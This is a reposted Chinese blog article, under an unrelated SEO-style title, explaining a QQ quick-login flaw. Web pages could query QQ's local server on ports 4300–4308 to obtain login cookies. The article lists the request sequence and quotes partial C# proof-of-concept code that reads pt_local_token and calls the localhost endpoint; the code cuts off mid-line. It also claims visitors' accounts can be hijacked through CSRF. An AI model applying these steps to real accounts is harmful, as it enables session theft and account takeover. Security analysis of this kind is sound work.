网页qq抓取什么原理(为什么你什么都没干,但QQ空间中却发了很多小广告? )
优采云 发布时间: 2022-02-09 00:14网页qq抓取什么原理(为什么你什么都没干,但QQ空间中却发了很多小广告?
)
为什么你什么都不做,但是QQ空间里有很多小广告?可能你的QQ号被盗了。本文将解释QQ快速登录的一个漏洞。
前阵子在论坛看到QQ快速登录的一个漏洞,觉得挺好的,就把部分原文转给了元子。
而利用这个漏洞终于可以实现了,只要你点击一个页面或者运行一个程序,那么我就可以拥有你的登录权限。可以直接进入你的邮箱,进入你的微云,进入你的QQ空间等等……
理解这篇文章需要一点web安全基础,请移步我的上一篇文章
网络安全:通俗易懂,用实例描述破解网站的原理以及如何保护!如何使 网站 更安全。
众所周知,腾讯使用Activex实现了QQ快速登录。在不熟悉的浏览器上使用时,首先要安装 QuickLogin 控件。
Activex的意思是一个插件,比如如果有这个,可以通过浏览器等打开一个文档。而QuickLogin是腾讯的Activex,用于快速登录。
只是不知道什么时候,快速登录突然不使用控件了。
当时,我非常不解。腾讯用什么奇葩的方式与网页和本地应用交互?
在没有插件的情况下,网页应该不能直接与本地应用程序交互(除非定义了协议,但它只能被调用,不能获得程序提供的结果)。
一个偶然的机会(好吧,无聊的看了看任务管理器,发现机器的httpd,发现Apache在运行)突然意识到一个可能:如果QQ在本地开一个端口,做一个web服务器,也就是符合HTTP协议的TCP服务器,然后网页ajax向那个QQ发起请求(此时作为web服务器),能得到结果吗?
httpd 是 Apache 超文本传输协议 (HTTP) 服务器的主程序。设计为独立运行的后台进程,它创建一个处理请求的子进程或线程池。
结果真的是这样,
网页JS发起GET请求到(端口从4300-4308,一一尝试成功)
如果你ping它,你会发现它是127.0.0.1。检查端口后,确实是QQ在使用。
第一个请求:/pt_get_uins?callback=ptui_getuins_CB&r=0.59326&pt_local_tk=399224727
pt_local_tk 来自cookie,不管它是什么;r 是一个随机数
返回的结果是一个 JSON 数组:
var var_sso_uin_list=[{"account":"登录QQ号","face_index":-1,"gender":0,"nickname":"你的QQ昵称","uin":"还是你的QQ号", "client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);
然后用它来获取QQ头像,这里不讨论
这样你的QQ信息就可以显示在网页上了。
当您按下您的头像时(选择此登录时)
以下请求结果:
:4300/pt_get_st?clientuin=你的QQ号&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同理,r为随机数,pt_local_tk来自cookie,local_token
这个请求有什么作用?
好吧,Set-Cookie。
然后继续请求
你的QQ号&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_aid=0&ptopt=1&style=40
这里唯一的u1是目的地址
此请求将返回所有必需的 cookie,您现在已成功登录。
这些 cookie 相当于令牌。有了这个token,就可以拥有快速登录的权限,相当于登录一般的网站,输入账号密码,后台会为浏览器注册一个token进行状态验证。相同的。
也就是说,一旦拿到cookie,就可以以CSRF(cross-site masquerading)的形式做很多事情。
您可以在 网站 上放置一个页面并在其中运行 http 请求,或者创建一个表单并在其中运行 http 请求。
只要你在电脑上登录QQ,只要你打开这个页面或者打开这个表格,那么你的账号就被黑了!
无需输入账号密码,可以直接调用QQ空间的界面发帖,可以直接抓取相册图片,可以进入微云等等。
我再根据这个漏洞在论坛上放一个人的例子,
他做的是QQ群的验证实例
这个想法是:访问任何 QQ网站 登录都会在本地生成一个 cookie。
然后获取这个cookie中的pt_local_token
得到一切。
<p>public static bool VerifyQQGroupYesNo(string VerifyQQGroupNum)
{
///
/// QQ群授权验证YesNo
///
bool YesNo = false;
///随机数处理
Random random = new Random();
string randomstr = (Convert.ToDouble(random.Next(1, 99)) / Math.PI / 100).ToString();
try
{
///定义string类型pt_local_tk 、localhost_str
string pt_local_tk = string.Empty, localhost_str = string.Empty;
//QQ会员中心Url
string LoginUrl = "http://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=8000201&style=20&s_url=http%3A%2F%2Fvip.qq.com%2Floginsuccess.html&maskOpacity=60&daid=18&target=self";
//Get方式Http1.1访问QQ会员中心
Zmoli775.HTTP.GetHttp1_1(LoginUrl);
//获取访问QQ会员中心生成Cookies->pt_local_tk值
pt_local_tk = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qq.com"))["pt_local_token"].Value;
/*
https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.22949112393586502&pt_local_tk=-2027291081
*/
//自动登录[1]->返回QQ号、client_type、QQ头像代码face_index、性别、QQ昵称、uin、uin_flag
localhost_str = Zmoli775.HTTP.Get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl);
//正则截取返回JSON字符串
if (!string.IsNullOrEmpty(localhost_str = Regex.Match(localhost_str, "(?i)(?